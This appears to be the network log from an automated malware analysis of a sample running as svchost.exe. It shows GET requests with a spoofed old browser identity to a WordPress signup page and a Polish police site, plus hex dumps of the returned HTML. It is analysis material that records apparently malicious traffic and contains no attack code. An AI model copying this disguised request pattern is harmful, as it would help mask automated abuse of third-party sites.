frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:17 UTC	826	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	55399	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	810	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:18 UTC	1011	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=95 Content-Length: 48939 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:17 GMT Connection: close
2023-03-10 06:56:18 UTC	1012	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:18 UTC	1015	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-03-10 06:56:18 UTC	1032	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-03-10 06:56:18 UTC	1040	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-03-10 06:56:18 UTC	1048	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-03-10 06:56:18 UTC	1056	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-03-10 06:56:18 UTC	1064	IN	Data Raw: 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 76 65 72 3d 35 2e 31 2e 33 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 67 6f 5f 70 72 69 63 69 6e 67 2f Data Ascii: orm-7\/v1"}};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.3'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/go_pricing/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	52593	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:13 UTC	135	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:14 UTC	248	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=99 Content-Length: 48940 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:14 GMT Connection: close
2023-03-10 06:56:14 UTC	249	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:14 UTC	252	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-03-10 06:56:14 UTC	282	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-03-10 06:56:14 UTC	290	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-03-10 06:56:14 UTC	298	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-03-10 06:56:14 UTC	306	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-03-10 06:56:14 UTC	314	IN	Data Raw: 66 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 76 65 72 3d 35 2e 31 2e 33 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 67 6f 5f 70 72 69 63 69 6e 67 Data Ascii: form-7\/v1"}};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.3'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/go_pricing

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	55461	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	861	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:17 UTC	862	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:56:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:17 UTC	864	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:17 UTC	880	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:17 UTC	896	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 